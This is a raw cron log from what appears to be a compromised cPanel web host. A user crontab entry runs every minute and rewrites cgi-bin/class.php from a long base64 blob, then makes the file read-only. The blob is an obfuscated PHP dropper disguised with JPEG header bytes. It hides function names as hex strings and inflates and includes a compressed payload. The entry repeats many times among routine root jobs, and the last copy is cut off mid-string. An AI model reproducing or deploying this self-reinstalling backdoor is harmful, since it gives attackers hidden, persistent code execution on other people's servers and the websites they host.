Apr 12 13:02:01 server CROND[2226]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:03:01 server CROND[2296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:04:01 server CROND[2363]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:05:01 server CROND[2424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:05:01 server CROND[2425]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 13:05:01 server CROND[2426]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:05:01 server CROND[2427]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:06:01 server CROND[2540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:07:01 server CROND[2756]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:08:01 server CROND[2825]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:09:01 server CROND[2889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:09:01 server CROND[2890]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 13:10:01 server CROND[2955]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:10:01 server CROND[2956]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 13:10:01 server CROND[2957]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:10:01 server CROND[2958]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 13:11:01 server CROND[3078]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:12:01 server CROND[3136]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 13:12:01 server CROND[3137]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:13:01 server CROND[3288]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:14:01 server CROND[3402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 13:15:01 server CROND[3454]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 13:15:01 server CROND[3455]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaA